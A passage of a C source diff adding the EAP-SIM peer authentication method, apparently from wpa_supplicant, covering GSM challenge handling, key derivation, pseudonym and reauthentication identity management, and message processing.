"sim_min_num_chal="); + if (pos) { + data->min_num_chal = atoi(pos + 17); + if (data->min_num_chal < 2 || data->min_num_chal > 3) { + wpa_printf(MSG_WARNING, "EAP-SIM: Invalid " + "sim_min_num_chal configuration " + "(%lu, expected 2 or 3)", + (unsigned long) data->min_num_chal); + os_free(data); + return NULL; + } + wpa_printf(MSG_DEBUG, "EAP-SIM: Set minimum number of " + "challenges to %lu", + (unsigned long) data->min_num_chal); + } + + data->result_ind = os_strstr(config->phase1, "result_ind=1") != + NULL; + } + + if (config && config->anonymous_identity) { + data->pseudonym = os_malloc(config->anonymous_identity_len); + if (data->pseudonym) { + os_memcpy(data->pseudonym, config->anonymous_identity, + config->anonymous_identity_len); + data->pseudonym_len = config->anonymous_identity_len; + } + } + + eap_sim_state(data, CONTINUE); + + return data; +} + + +static void eap_sim_deinit(struct eap_sm *sm, void *priv) +{ + struct eap_sim_data *data = priv; + if (data) { + os_free(data->ver_list); + os_free(data->pseudonym); + os_free(data->reauth_id); + os_free(data->last_eap_identity); + os_free(data); + } +} + + +static int eap_sim_ext_sim_req(struct eap_sm *sm, struct eap_sim_data *data) +{ + char req[200], *pos, *end; + size_t i; + + wpa_printf(MSG_DEBUG, "EAP-SIM: Use external SIM processing"); + pos = req; + end = pos + sizeof(req); + pos += os_snprintf(pos, end - pos, "GSM-AUTH"); + for (i = 0; i < data->num_chal; i++) { + pos += os_snprintf(pos, end - pos, ":"); + pos += wpa_snprintf_hex(pos, end - pos, data->rand[i], + GSM_RAND_LEN); + } + + eap_sm_request_sim(sm, req); + return 1; +} + + +static int eap_sim_ext_sim_result(struct eap_sm *sm, struct eap_sim_data *data, + struct eap_peer_config *conf) +{ + char *resp, *pos; + size_t i; + + wpa_printf(MSG_DEBUG, + "EAP-SIM: Use result from external SIM processing"); + + resp = conf->external_sim_resp; + conf->external_sim_resp = NULL; + + if (os_strncmp(resp, "GSM-AUTH:", 9) != 0) { + wpa_printf(MSG_DEBUG, "EAP-SIM: Unrecognized external SIM processing response"); + os_free(resp); + return -1; + } + + pos = resp + 9; + for (i = 0; i < data->num_chal; i++) { + wpa_hexdump(MSG_DEBUG, "EAP-SIM: RAND", + data->rand[i], GSM_RAND_LEN); + + if (hexstr2bin(pos, data->kc[i], EAP_SIM_KC_LEN) < 0) + goto invalid; + wpa_hexdump_key(MSG_DEBUG, "EAP-SIM: Kc", + data->kc[i], EAP_SIM_KC_LEN); + pos += EAP_SIM_KC_LEN * 2; + if (*pos != ':') + goto invalid; + pos++; + + if (hexstr2bin(pos, data->sres[i], EAP_SIM_SRES_LEN) < 0) + goto invalid; + wpa_hexdump_key(MSG_DEBUG, "EAP-SIM: SRES", + data->sres[i], EAP_SIM_SRES_LEN); + pos += EAP_SIM_SRES_LEN * 2; + if (i + 1 < data->num_chal) { + if (*pos != ':') + goto invalid; + pos++; + } + } + + os_free(resp); + return 0; + +invalid: + wpa_printf(MSG_DEBUG, "EAP-SIM: Invalid external SIM processing GSM-AUTH response"); + os_free(resp); + return -1; +} + + +static int eap_sim_gsm_auth(struct eap_sm *sm, struct eap_sim_data *data) +{ + struct eap_peer_config *conf; + + wpa_printf(MSG_DEBUG, "EAP-SIM: GSM authentication algorithm"); + + conf = eap_get_config(sm); + if (conf == NULL) + return -1; + + if (sm->external_sim) { + if (conf->external_sim_resp) + return eap_sim_ext_sim_result(sm, data, conf); + else + return eap_sim_ext_sim_req(sm, data); + } + + if (conf->pcsc) { + if (scard_gsm_auth(sm->scard_ctx, data->rand[0], + data->sres[0], data->kc[0]) || + scard_gsm_auth(sm->scard_ctx, data->rand[1], + data->sres[1], data->kc[1]) || + (data->num_chal > 2 && + scard_gsm_auth(sm->scard_ctx, data->rand[2], + data->sres[2], data->kc[2]))) { + wpa_printf(MSG_DEBUG, "EAP-SIM: GSM SIM " + "authentication could not be completed"); + return -1; + } + return 0; + } + +#ifdef CONFIG_SIM_SIMULATOR + if (conf->password) { + u8 opc[16], k[16]; + const char *pos; + size_t i; + wpa_printf(MSG_DEBUG, "EAP-SIM: Use internal GSM-Milenage " + "implementation for authentication"); + if (conf->password_len < 65) { + wpa_printf(MSG_DEBUG, "EAP-SIM: invalid GSM-Milenage " + "password"); + return -1; + } + pos = (const char *) conf->password; + if (hexstr2bin(pos, k, 16)) + return -1; + pos += 32; + if (*pos != ':') + return -1; + pos++; + + if (hexstr2bin(pos, opc, 16)) + return -1; + + for (i = 0; i < data->num_chal; i++) { + if (gsm_milenage(opc, k, data->rand[i], + data->sres[i], data->kc[i])) { + wpa_printf(MSG_DEBUG, "EAP-SIM: " + "GSM-Milenage authentication " + "could not be completed"); + return -1; + } + wpa_hexdump(MSG_DEBUG, "EAP-SIM: RAND", + data->rand[i], GSM_RAND_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-SIM: SRES", + data->sres[i], EAP_SIM_SRES_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-SIM: Kc", + data->kc[i], EAP_SIM_KC_LEN); + } + return 0; + } +#endif /* CONFIG_SIM_SIMULATOR */ + +#ifdef CONFIG_SIM_HARDCODED + /* These hardcoded Kc and SRES values are used for testing. RAND to + * KC/SREC mapping is very bogus as far as real authentication is + * concerned, but it is quite useful for cases where the AS is rotating + * the order of pre-configured values. */ + { + size_t i; + + wpa_printf(MSG_DEBUG, "EAP-SIM: Use hardcoded Kc and SRES " + "values for testing"); + + for (i = 0; i < data->num_chal; i++) { + if (data->rand[i][0] == 0xaa) { + os_memcpy(data->kc[i], + "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7", + EAP_SIM_KC_LEN); + os_memcpy(data->sres[i], "\xd1\xd2\xd3\xd4", + EAP_SIM_SRES_LEN); + } else if (data->rand[i][0] == 0xbb) { + os_memcpy(data->kc[i], + "\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7", + EAP_SIM_KC_LEN); + os_memcpy(data->sres[i], "\xe1\xe2\xe3\xe4", + EAP_SIM_SRES_LEN); + } else { + os_memcpy(data->kc[i], + "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7", + EAP_SIM_KC_LEN); + os_memcpy(data->sres[i], "\xf1\xf2\xf3\xf4", + EAP_SIM_SRES_LEN); + } + } + } + + return 0; + +#else /* CONFIG_SIM_HARDCODED */ + + wpa_printf(MSG_DEBUG, "EAP-SIM: No GSM authentication algorithm " + "enabled"); + return -1; + +#endif /* CONFIG_SIM_HARDCODED */ +} + + +static int eap_sim_supported_ver(int version) +{ + return version == EAP_SIM_VERSION; +} + + +#define CLEAR_PSEUDONYM 0x01 +#define CLEAR_REAUTH_ID 0x02 +#define CLEAR_EAP_ID 0x04 + +static void eap_sim_clear_identities(struct eap_sm *sm, + struct eap_sim_data *data, int id) +{ + if ((id & CLEAR_PSEUDONYM) && data->pseudonym) { + wpa_printf(MSG_DEBUG, "EAP-SIM: forgetting old pseudonym"); + os_free(data->pseudonym); + data->pseudonym = NULL; + data->pseudonym_len = 0; + eap_set_anon_id(sm, NULL, 0); + } + if ((id & CLEAR_REAUTH_ID) && data->reauth_id) { + wpa_printf(MSG_DEBUG, "EAP-SIM: forgetting old reauth_id"); + os_free(data->reauth_id); + data->reauth_id = NULL; + data->reauth_id_len = 0; + } + if ((id & CLEAR_EAP_ID) && data->last_eap_identity) { + wpa_printf(MSG_DEBUG, "EAP-SIM: forgetting old eap_id"); + os_free(data->last_eap_identity); + data->last_eap_identity = NULL; + data->last_eap_identity_len = 0; + } +} + + +static int eap_sim_learn_ids(struct eap_sm *sm, struct eap_sim_data *data, + struct eap_sim_attrs *attr) +{ + if (attr->next_pseudonym) { + const u8 *identity = NULL; + size_t identity_len = 0; + const u8 *realm = NULL; + size_t realm_len = 0; + + wpa_hexdump_ascii(MSG_DEBUG, + "EAP-SIM: (encr) AT_NEXT_PSEUDONYM", + attr->next_pseudonym, + attr->next_pseudonym_len); + os_free(data->pseudonym); + /* Look for the realm of the permanent identity */ + identity = eap_get_config_identity(sm, &identity_len); + if (identity) { + for (realm = identity, realm_len = identity_len; + realm_len > 0; realm_len--, realm++) { + if (*realm == '@') + break; + } + } + data->pseudonym = os_malloc(attr->next_pseudonym_len + + realm_len); + if (data->pseudonym == NULL) { + wpa_printf(MSG_INFO, "EAP-SIM: (encr) No memory for " + "next pseudonym"); + data->pseudonym_len = 0; + return -1; + } + os_memcpy(data->pseudonym, attr->next_pseudonym, + attr->next_pseudonym_len); + if (realm_len) { + os_memcpy(data->pseudonym + attr->next_pseudonym_len, + realm, realm_len); + } + data->pseudonym_len = attr->next_pseudonym_len + realm_len; + eap_set_anon_id(sm, data->pseudonym, data->pseudonym_len); + } + + if (attr->next_reauth_id) { + os_free(data->reauth_id); + data->reauth_id = os_malloc(attr->next_reauth_id_len); + if (data->reauth_id == NULL) { + wpa_printf(MSG_INFO, "EAP-SIM: (encr) No memory for " + "next reauth_id"); + data->reauth_id_len = 0; + return -1; + } + os_memcpy(data->reauth_id, attr->next_reauth_id, + attr->next_reauth_id_len); + data->reauth_id_len = attr->next_reauth_id_len; + wpa_hexdump_ascii(MSG_DEBUG, + "EAP-SIM: (encr) AT_NEXT_REAUTH_ID", + data->reauth_id, + data->reauth_id_len); + } + + return 0; +} + + +static struct wpabuf * eap_sim_client_error(struct eap_sim_data *data, u8 id, + int err) +{ + struct eap_sim_msg *msg; + + eap_sim_state(data, FAILURE); + data->num_id_req = 0; + data->num_notification = 0; + + wpa_printf(MSG_DEBUG, "EAP-SIM: Send Client-Error (error code %d)", + err); + msg = eap_sim_msg_init(EAP_CODE_RESPONSE, id, EAP_TYPE_SIM, + EAP_SIM_SUBTYPE_CLIENT_ERROR); + eap_sim_msg_add(msg, EAP_SIM_AT_CLIENT_ERROR_CODE, err, NULL, 0); + return eap_sim_msg_finish(msg, NULL, NULL, 0); +} + + +static struct wpabuf * eap_sim_response_start(struct eap_sm *sm, + struct eap_sim_data *data, u8 id, + enum eap_sim_id_req id_req) +{ + const u8 *identity = NULL; + size_t identity_len = 0; + struct eap_sim_msg *msg; + + data->reauth = 0; + if (id_req == ANY_ID && data->reauth_id) { + identity = data->reauth_id; + identity_len = data->reauth_id_len; + data->reauth = 1; + } else if ((id_req == ANY_ID || id_req == FULLAUTH_ID) && + data->pseudonym) { + identity = data->pseudonym; + identity_len = data->pseudonym_len; + eap_sim_clear_identities(sm, data, CLEAR_REAUTH_ID); + } else if (id_req != NO_ID_REQ) { + identity = eap_get_config_identity(sm, &identity_len); + if (identity) { + eap_sim_clear_identities(sm, data, CLEAR_PSEUDONYM | + CLEAR_REAUTH_ID); + } + } + if (id_req != NO_ID_REQ) + eap_sim_clear_identities(sm, data, CLEAR_EAP_ID); + + wpa_printf(MSG_DEBUG, "Generating EAP-SIM Start (id=%d)", id); + msg = eap_sim_msg_init(EAP_CODE_RESPONSE, id, + EAP_TYPE_SIM, EAP_SIM_SUBTYPE_START); + if (!data->reauth) { + wpa_hexdump(MSG_DEBUG, " AT_NONCE_MT", + data->nonce_mt, EAP_SIM_NONCE_MT_LEN); + eap_sim_msg_add(msg, EAP_SIM_AT_NONCE_MT, 0, + data->nonce_mt, EAP_SIM_NONCE_MT_LEN); + wpa_printf(MSG_DEBUG, " AT_SELECTED_VERSION %d", + data->selected_version); + eap_sim_msg_add(msg, EAP_SIM_AT_SELECTED_VERSION, + data->selected_version, NULL, 0); + } + + if (identity) { + wpa_hexdump_ascii(MSG_DEBUG, " AT_IDENTITY", + identity, identity_len); + eap_sim_msg_add(msg, EAP_SIM_AT_IDENTITY, identity_len, + identity, identity_len); + } + + return eap_sim_msg_finish(msg, NULL, NULL, 0); +} + + +static struct wpabuf * eap_sim_response_challenge(struct eap_sim_data *data, + u8 id) +{ + struct eap_sim_msg *msg; + + wpa_printf(MSG_DEBUG, "Generating EAP-SIM Challenge (id=%d)", id); + msg = eap_sim_msg_init(EAP_CODE_RESPONSE, id, EAP_TYPE_SIM, + EAP_SIM_SUBTYPE_CHALLENGE); + if (data->use_result_ind) { + wpa_printf(MSG_DEBUG, " AT_RESULT_IND"); + eap_sim_msg_add(msg, EAP_SIM_AT_RESULT_IND, 0, NULL, 0); + } + wpa_printf(MSG_DEBUG, " AT_MAC"); + eap_sim_msg_add_mac(msg, EAP_SIM_AT_MAC); + return eap_sim_msg_finish(msg, data->k_aut, (u8 *) data->sres, + data->num_chal * EAP_SIM_SRES_LEN); +} + + +static struct wpabuf * eap_sim_response_reauth(struct eap_sim_data *data, + u8 id, int counter_too_small, + const u8 *nonce_s) +{ + struct eap_sim_msg *msg; + unsigned int counter; + + wpa_printf(MSG_DEBUG, "Generating EAP-SIM Reauthentication (id=%d)", + id); + msg = eap_sim_msg_init(EAP_CODE_RESPONSE, id, EAP_TYPE_SIM, + EAP_SIM_SUBTYPE_REAUTHENTICATION); + wpa_printf(MSG_DEBUG, " AT_IV"); + wpa_printf(MSG_DEBUG, " AT_ENCR_DATA"); + eap_sim_msg_add_encr_start(msg, EAP_SIM_AT_IV, EAP_SIM_AT_ENCR_DATA); + + if (counter_too_small) { + wpa_printf(MSG_DEBUG, " *AT_COUNTER_TOO_SMALL"); + eap_sim_msg_add(msg, EAP_SIM_AT_COUNTER_TOO_SMALL, 0, NULL, 0); + counter = data->counter_too_small; + } else + counter = data->counter; + + wpa_printf(MSG_DEBUG, " *AT_COUNTER %d", counter); + eap_sim_msg_add(msg, EAP_SIM_AT_COUNTER, counter, NULL, 0); + + if (eap_sim_msg_add_encr_end(msg, data->k_encr, EAP_SIM_AT_PADDING)) { + wpa_printf(MSG_WARNING, "EAP-SIM: Failed to encrypt " + "AT_ENCR_DATA"); + eap_sim_msg_free(msg); + return NULL; + } + if (data->use_result_ind) { + wpa_printf(MSG_DEBUG, " AT_RESULT_IND"); + eap_sim_msg_add(msg, EAP_SIM_AT_RESULT_IND, 0, NULL, 0); + } + wpa_printf(MSG_DEBUG, " AT_MAC"); + eap_sim_msg_add_mac(msg, EAP_SIM_AT_MAC); + return eap_sim_msg_finish(msg, data->k_aut, nonce_s, + EAP_SIM_NONCE_S_LEN); +} + + +static struct wpabuf * eap_sim_response_notification(struct eap_sim_data *data, + u8 id, u16 notification) +{ + struct eap_sim_msg *msg; + u8 *k_aut = (notification & 0x4000) == 0 ? data->k_aut : NULL; + + wpa_printf(MSG_DEBUG, "Generating EAP-SIM Notification (id=%d)", id); + msg = eap_sim_msg_init(EAP_CODE_RESPONSE, id, + EAP_TYPE_SIM, EAP_SIM_SUBTYPE_NOTIFICATION); + if (k_aut && data->reauth) { + wpa_printf(MSG_DEBUG, " AT_IV"); + wpa_printf(MSG_DEBUG, " AT_ENCR_DATA"); + eap_sim_msg_add_encr_start(msg, EAP_SIM_AT_IV, + EAP_SIM_AT_ENCR_DATA); + wpa_printf(MSG_DEBUG, " *AT_COUNTER %d", data->counter); + eap_sim_msg_add(msg, EAP_SIM_AT_COUNTER, data->counter, + NULL, 0); + if (eap_sim_msg_add_encr_end(msg, data->k_encr, + EAP_SIM_AT_PADDING)) { + wpa_printf(MSG_WARNING, "EAP-SIM: Failed to encrypt " + "AT_ENCR_DATA"); + eap_sim_msg_free(msg); + return NULL; + } + } + if (k_aut) { + wpa_printf(MSG_DEBUG, " AT_MAC"); + eap_sim_msg_add_mac(msg, EAP_SIM_AT_MAC); + } + return eap_sim_msg_finish(msg, k_aut, (u8 *) "", 0); +} + + +static struct wpabuf * eap_sim_process_start(struct eap_sm *sm, + struct eap_sim_data *data, u8 id, + struct eap_sim_attrs *attr) +{ + int selected_version = -1, id_error; + size_t i; + u8 *pos; + + wpa_printf(MSG_DEBUG, "EAP-SIM: subtype Start"); + if (attr->version_list == NULL) { + wpa_printf(MSG_INFO, "EAP-SIM: No AT_VERSION_LIST in " + "SIM/Start"); + return eap_sim_client_error(data, id, + EAP_SIM_UNSUPPORTED_VERSION); + } + + os_free(data->ver_list); + data->ver_list = os_malloc(attr->version_list_len); + if (data->ver_list == NULL) { + wpa_printf(MSG_DEBUG, "EAP-SIM: Failed to allocate " + "memory for version list"); + return eap_sim_client_error(data, id, + EAP_SIM_UNABLE_TO_PROCESS_PACKET); + } + os_memcpy(data->ver_list, attr->version_list, attr->version_list_len); + data->ver_list_len = attr->version_list_len; + pos = data->ver_list; + for (i = 0; i < data->ver_list_len / 2; i++) { + int ver = pos[0] * 256 + pos[1]; + pos += 2; + if (eap_sim_supported_ver(ver)) { + selected_version = ver; + break; + } + } + if (selected_version < 0) { + wpa_printf(MSG_INFO, "EAP-SIM: Could not find a supported " + "version"); + return eap_sim_client_error(data, id, + EAP_SIM_UNSUPPORTED_VERSION); + } + wpa_printf(MSG_DEBUG, "EAP-SIM: Selected Version %d", + selected_version); + data->selected_version = selected_version; + + id_error = 0; + switch (attr->id_req) { + case NO_ID_REQ: + break; + case ANY_ID: + if (data->num_id_req > 0) + id_error++; + data->num_id_req++; + break; + case FULLAUTH_ID: + if (data->num_id_req > 1) + id_error++; + data->num_id_req++; + break; + case PERMANENT_ID: + if (data->num_id_req > 2) + id_error++; + data->num_id_req++; + break; + } + if (id_error) { + wpa_printf(MSG_INFO, "EAP-SIM: Too many ID requests " + "used within one authentication"); + return eap_sim_client_error(data, id, + EAP_SIM_UNABLE_TO_PROCESS_PACKET); + } + + return eap_sim_response_start(sm, data, id, attr->id_req); +} + + +static struct wpabuf * eap_sim_process_challenge(struct eap_sm *sm, + struct eap_sim_data *data, + u8 id, + const struct wpabuf *reqData, + struct eap_sim_attrs *attr) +{ + const u8 *identity; + size_t identity_len; + struct eap_sim_attrs eattr; + int res; + + wpa_printf(MSG_DEBUG, "EAP-SIM: subtype Challenge"); + data->reauth = 0; + if (!attr->mac || !attr->rand) { + wpa_printf(MSG_WARNING, "EAP-SIM: Challenge message " + "did not include%s%s", + !attr->mac ? " AT_MAC" : "", + !attr->rand ? " AT_RAND" : ""); + return eap_sim_client_error(data, id, + EAP_SIM_UNABLE_TO_PROCESS_PACKET); + } + + wpa_printf(MSG_DEBUG, "EAP-SIM: %lu challenges", + (unsigned long) attr->num_chal); + if (attr->num_chal < data->min_num_chal) { + wpa_printf(MSG_INFO, "EAP-SIM: Insufficient number of " + "challenges (%lu)", (unsigned long) attr->num_chal); + return eap_sim_client_error(data, id, + EAP_SIM_INSUFFICIENT_NUM_OF_CHAL); + } + if (attr->num_chal > 3) { + wpa_printf(MSG_INFO, "EAP-SIM: Too many challenges " + "(%lu)", (unsigned long) attr->num_chal); + return eap_sim_client_error(data, id, + EAP_SIM_UNABLE_TO_PROCESS_PACKET); + } + + /* Verify that RANDs are different */ + if (os_memcmp(attr->rand, attr->rand + GSM_RAND_LEN, + GSM_RAND_LEN) == 0 || + (attr->num_chal > 2 && + (os_memcmp(attr->rand, attr->rand + 2 * GSM_RAND_LEN, + GSM_RAND_LEN) == 0 || + os_memcmp(attr->rand + GSM_RAND_LEN, + attr->rand + 2 * GSM_RAND_LEN, + GSM_RAND_LEN) == 0))) { + wpa_printf(MSG_INFO, "EAP-SIM: Same RAND used multiple times"); + return eap_sim_client_error(data, id, + EAP_SIM_RAND_NOT_FRESH); + } + + os_memcpy(data->rand, attr->rand, attr->num_chal * GSM_RAND_LEN); + data->num_chal = attr->num_chal; + + res = eap_sim_gsm_auth(sm, data); + if (res > 0) { + wpa_printf(MSG_DEBUG, "EAP-SIM: Wait for external SIM processing"); + return NULL; + } + if (res) { + wpa_printf(MSG_WARNING, "EAP-SIM: GSM authentication failed"); + return eap_sim_client_error(data, id, + EAP_SIM_UNABLE_TO_PROCESS_PACKET); + } + if (data->last_eap_identity) { + identity = data->last_eap_identity; + identity_len = data->last_eap_identity_len; + } else if (data->pseudonym) { + identity = data->pseudonym; + identity_len = data->pseudonym_len; + } else + identity = eap_get_config_identity(sm, &identity_len); + wpa_hexdump_ascii(MSG_DEBUG, "EAP-SIM: Selected identity for MK " + "derivation", identity, identity_len); + eap_sim_derive_mk(identity, identity_len, data->nonce_mt, + data->selected_version, data->ver_list, + data->ver_list_len, data->num_chal, + (const u8 *) data->kc, data->mk); + eap_sim_derive_keys(data->mk, data->k_encr, data->k_aut, data->msk, + data->emsk); + if (eap_sim_verify_mac(data->k_aut, reqData, attr->mac, data->nonce_mt, + EAP_SIM_NONCE_MT_LEN)) { + wpa_printf(MSG_WARNING, "EAP-SIM: Challenge message " + "used invalid AT_MAC"); + return eap_sim_client_error(data, id, + EAP_SIM_UNABLE_TO_PROCESS_PACKET); + } + + /* Old reauthentication identity must not be used anymore. In + * other words, if no new reauth identity is received, full + * authentication will be used on next reauthentication (using + * pseudonym identity or permanent identity). */ + eap_sim_clear_identities(sm, data, CLEAR_REAUTH_ID | CLEAR_EAP_ID); + + if (attr->encr_data) { + u8 *decrypted; + decrypted = eap_sim_parse_encr(data->k_encr, attr->encr_data, + attr->encr_data_len, attr->iv, + &eattr, 0); + if (decrypted == NULL) { + return eap_sim_client_error( + data, id, EAP_SIM_UNABLE_TO_PROCESS_PACKET); + } + eap_sim_learn_ids(sm, data, &eattr); + os_free(decrypted); + } + + if (data->result_ind && attr->result_ind) + data->use_result_ind = 1; + + if (data->state != FAILURE && data->state != RESULT_FAILURE) { + eap_sim_state(data, data->use_result_ind ? + RESULT_SUCCESS : SUCCESS); + } + + data->num_id_req = 0; + data->num_notification = 0; + /* RFC 4186 specifies that counter is initialized to one after + * fullauth, but initializing it to zero makes it easier to implement + * reauth verification. */ + data->counter = 0; + return eap_sim_response_challenge(data, id); +} + + +static int eap_sim_process_notification_reauth(struct eap_sim_data *data, + struct eap_sim_attrs *attr) +{ + struct eap_sim_attrs eattr; + u8 *decrypted; + + if (attr->encr_data == NULL || attr->iv == NULL) { + wpa_printf(MSG_WARNING, "EAP-SIM: Notification message after " + "reauth did not include encrypted data"); + return -1; + } + + decrypted = eap_sim_parse_encr(data->k_encr, attr->encr_data, + attr->encr_data_len, attr->iv, &eattr, + 0); + if (decrypted == NULL) { + wpa_printf(MSG_WARNING, "EAP-SIM: Failed to parse encrypted " + "data from notification message"); + return -1; + } + + if (eattr.counter < 0 || (size_t) eattr.counter != data->counter) { + wpa_printf(MSG_WARNING, "EAP-SIM: Counter in notification " + "message does not match with counter in reauth " + "message"); + os_free(decrypted); + return -1; + } + + os_free(decrypted); + return 0; +} + + +static int eap_sim_process_notification_auth(struct eap_sim_data *data, + const struct wpabuf *reqData, + struct eap_sim_attrs *attr) +{ + if (attr->mac == NULL) { + wpa_printf(MSG_INFO, "EAP-SIM: no AT_MAC in after_auth " + "Notification message"); + return -1; + } + + if (eap_sim_verify_mac(data->k_aut, reqData, attr->mac, (u8 *) "", 0)) + { + wpa_printf(MSG_WARNING, "EAP-SIM: Notification message " + "used invalid AT_MAC"); + return -1; + } + + if (data->reauth && + eap_sim_process_notification_reauth(data, attr)) { + wpa_printf(MSG_WARNING, "EAP-SIM: Invalid notification " + "message after reauth"); + return -1; + } + + return 0; +} + + +static struct wpabuf * eap_sim_process_notification( + struct eap_sm *sm, struct eap_sim_data *data, u8 id, + const struct wpabuf *reqData, struct eap_sim_attrs *attr) +{ + wpa_printf(MSG_DEBUG, "EAP-SIM: subtype Notification"); + if (data->num_notification > 0) { + wpa_printf(MSG_INFO, "EAP-SIM: too many notification " + "rounds (only one allowed)"); + return eap_sim_client_error(data, id, + EAP_SIM_UNABLE_TO_PROCESS_PACKET); + } + data->num_notification++; + if (attr->notification == -1) { + wpa_printf(MSG_INFO, "EAP-SIM: no AT_NOTIFICATION in " + "Notification message"); + return eap_sim_client_error(data, id, + EAP_SIM_UNABLE_TO_PROCESS_PACKET); + } + + if ((attr->notification & 0x4000) == 0 && + eap_sim_process_notification_auth(data, reqData, attr)) { + return eap_sim_client_error(data, id, + EAP_SIM_UNABLE_TO_PROCESS_PACKET); + } + + eap_sim_report_notification(sm->msg_ctx, attr->notification, 0); + if (attr->notification >= 0 && attr->notification < 32768) { + eap_sim_state(data, FAILURE); + } else if (attr->notification == EAP_SIM_SUCCESS && + data->state == RESULT_SUCCESS) + eap_sim_state(data, SUCCESS); + return eap_sim_response_notification(data, id, attr->notification); +} + + +static struct wpabuf * eap_sim_process_reauthentication( + struct eap_sm *sm, struct eap_sim_data *data, u8 id, + const struct wpabuf *reqData, struct eap_sim_attrs *attr) +{ + struct eap_sim_attrs eattr; + u8 *decrypted; + + wpa_printf(MSG_DEBUG, "EAP-SIM: subtype Reauthentication"); + + if (data->reauth_id == NULL) { + wpa_printf(MSG_WARNING, "EAP-SIM: Server is trying " + "reauthentication, but no reauth_id available"); + return eap_sim_client_error(data, id, + EAP_SIM_UNABLE_TO_PROCESS_PACKET); + } + + data->reauth = 1; + if (eap_sim_verify_mac(data->k_aut, reqData, attr->mac, (u8 *) "", 0)) + { + wpa_printf(MSG_WARNING, "EAP-SIM: Reauthentication " + "did not have valid AT_MAC"); + return eap_sim_client_error(data, id, + EAP_SIM_UNABLE_TO_PROCESS_PACKET); + } + + if (attr->encr_data == NULL || attr->iv == NULL) { + wpa_printf(MSG_WARNING, "EAP-SIM: Reauthentication " + "message did not include encrypted data"); + return eap_sim_client_error(data, id, + EAP_SIM_UNABLE_TO_PROCESS_PACKET); + } + + decrypted = eap_sim_parse_encr(data->k_encr, attr->encr_data, + attr->encr_data_len, attr->iv, &eattr, + 0); + if (decrypted == NULL) { + wpa_printf(MSG_WARNING, "EAP-SIM: Failed to parse encrypted " + "data from reauthentication message"); + return eap_sim_client_error(data, id, + EAP_SIM_UNABLE_TO_PROCESS_PACKET); + } + + if (eattr.nonce_s == NULL || eattr.counter < 0) { + wpa_printf(MSG_INFO, "EAP-SIM: (encr) No%s%s in reauth packet", + !eattr.nonce_s ? " AT_NONCE_S" : "", + eattr.counter < 0 ? " AT_COUNTER" : ""); + os_free(decrypted); + return eap_sim_client_error(data, id, + EAP_SIM_UNABLE_TO_PROCESS_PACKET); + } + + if (eattr.counter < 0 || (size_t) eattr.counter <= data->counter) { + wpa_printf(MSG_INFO, "EAP-SIM: (encr) Invalid counter " + "(%d <= %d)", eattr.counter, data->counter); + data->counter_too_small = eattr.counter; + /* Reply using Re-auth w/ AT_COUNTER_TOO_SMALL. The current + * reauth_id must not be used to start a new reauthentication. + * However, since it was used in the last EAP-Response-Identity + * packet, it has to saved for the following fullauth to be + * used in MK derivation. */ + os_free(data->last_eap_identity); + data->last_eap_identity = data->reauth_id; + data->last_eap_identity_len = data->reauth_id_len; + data->reauth_id = NULL; + data->reauth_id_len = 0; + os_free(decrypted); + return eap_sim_response_reauth(data, id, 1, eattr.nonce_s); + } + data->counter = eattr.counter; + + os_memcpy(data->nonce_s, eattr.nonce_s, EAP_SIM_NONCE_S_LEN); + wpa_hexdump(MSG_DEBUG, "EAP-SIM: (encr) AT_NONCE_S", + data->nonce_s, EAP_SIM_NONCE_S_LEN); + + eap_sim_derive_keys_reauth(data->counter, + data->reauth_id, data->reauth_id_len, + data->nonce_s, data->mk, data->msk, + data->emsk); + eap_sim_clear_identities(sm, data, CLEAR_REAUTH_ID | CLEAR_EAP_ID); + eap_sim_learn_ids(sm, data, &eattr); + + if (data->result_ind && attr->result_ind) + data->use_result_ind = 1; + + if (data->state != FAILURE && data->state != RESULT_FAILURE) { + eap_sim_state(data, data->use_result_ind ? + RESULT_SUCCESS : SUCCESS); + } + + data->num_id_req = 0; + data->num_notification = 0; + if (data->counter > EAP_SIM_MAX_FAST_REAUTHS) { + wpa_printf(MSG_DEBUG, "EAP-SIM: Maximum number of " + "fast reauths performed - force fullauth"); + eap_sim_clear_identities(sm, data, + CLEAR_REAUTH_ID | CLEAR_EAP_ID); + } + os_free(decrypted); + return eap_sim_response_reauth(data, id, 0, data->nonce_s); +} + + +static struct wpabuf * eap_sim_process(struct eap_sm *sm, void *priv, + struct eap_method_ret *ret, + const struct wpabuf *reqData) +{ + struct eap_sim_data *data = priv; + const struct eap_hdr *req; + u8 subtype, id; + struct wpabuf *res; + const u8 *pos; + struct eap_sim_attrs attr; + size_t len; + + wpa_hexdump_buf(MSG_DEBUG, "EAP-SIM: EAP data", reqData); + if (eap_get_config_identity(sm, &len) == NULL) { + wpa_printf(MSG_INFO, "EAP-SIM: Identity not configured"); + eap_sm_request_identity(sm); + ret->ignore = TRUE; + return NULL; + } + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_SIM, reqData, &len); + if (pos == NULL || len < 1) { + ret->ignore = TRUE; + return NULL; + } + req = wpabuf_head(reqData); + id = req->identifier; + len = be_to_host16(req->length); + + ret->ignore = FALSE; + ret->methodState = METHOD_MAY_CONT; + ret->decision = DECISION_FAIL; + ret->allowNotifications = TRUE; + + subtype = *pos++; + wpa_printf(MSG_DEBUG, "EAP-SIM: Subtype=%d", subtype); + pos += 2; /* Reserved */ + + if (eap_sim_parse_attr(pos, wpabuf_head_u8(reqData) + len, &attr, 0, + 0)) { + res = eap_sim_client_error(data, id, + EAP_SIM_UNABLE_TO_PROCESS_PACKET); + goto done; + } + + switch (subtype) { + case EAP_SIM_SUBTYPE_START: + res = eap_sim_process_start(sm, data, id, &attr); + break; + case EAP_SIM_SUBTYPE_CHALLENGE: + res = eap_sim_process_challenge(sm, data, id, reqData, &attr); + break; + case EAP_SIM_SUBTYPE_NOTIFICATION: + res = eap_sim_process_notification(sm, data, id, reqData, + &attr); + break; + case EAP_SIM_SUBTYPE_REAUTHENTICATION: + res = eap_sim_process_reauthentication(sm, data, id, reqData, + &attr); + break; + case EAP_SIM_SUBTYPE_CLIENT_ERROR: + wpa_printf(MSG_DEBUG, "EAP-SIM: subtype Client-Error"); + res = eap_sim_client_error(data, id, + EAP_SIM_UNABLE_TO_PROCESS_PACKET); + break; + default: + wpa_printf(MSG_DEBUG, "EAP-SIM: Unknown subtype=%d", subtype); + res = eap_sim_client_error(data, id, + 